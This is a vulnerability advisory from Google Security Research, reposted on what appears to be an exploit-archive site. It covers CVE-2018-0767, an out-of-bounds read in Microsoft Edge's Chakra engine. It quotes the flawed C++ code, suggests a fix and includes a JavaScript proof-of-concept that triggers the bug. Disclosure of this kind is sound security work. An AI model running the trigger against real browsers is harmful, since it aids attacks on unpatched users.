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Microsoft Edge Chakra AppendLeftOverItemsFromEndSegment Out-Of-Bounds Read

Microsoft Edge Chakra AppendLeftOverItemsFromEndSegment Out-Of-Bounds Read
Posted Jan 12, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from an out-of-bounds read in AppendLeftOverItemsFromEndSegment.

tags | advisory
advisories | CVE-2018-0767
MD5 | 6cfc877917d7438791ce00f168c6b410

Microsoft Edge Chakra AppendLeftOverItemsFromEndSegment Out-Of-Bounds Read

Change Mirror Download
Microsoft Edge: Chakra: OOB read in AppendLeftOverItemsFromEndSegment 

CVE-2018-0767


Here's a snippet of AppendLeftOverItemsFromEndSegment in JavascriptArray.inl.

growby = endSeg->length;
current = current->GrowByMin(recycler, growby);
CopyArray(current->elements + endIndex + 1, endSeg->length,
((Js::SparseArraySegment<T>*)endSeg)->elements, endSeg->length);
LinkSegments((Js::SparseArraySegment<T>*)startPrev, current);
if (HasNoMissingValues())
{
if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
{
SetHasNoMissingValues(false);
}
}

In the "ScanForMissingValues" method, it uses "head". But it doesn't check the grown segment "current" is equal to "head" before calling the method.
I guess it shoud be like:
if (current == head && HasNoMissingValues())
{
if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
{
SetHasNoMissingValues(false);
}
}


function trigger() {
let arr = [1.1];
let i = 0;
for (; i < 1000; i += 0.5) {
arr[i + 0x7777] = 2.0;
}

arr[1001] = 35480.0;

for (; i < 0x7777; i++) {
arr[i] = 1234.3;
}
}

for (let i = 0; i < 100; i++) {
trigger();
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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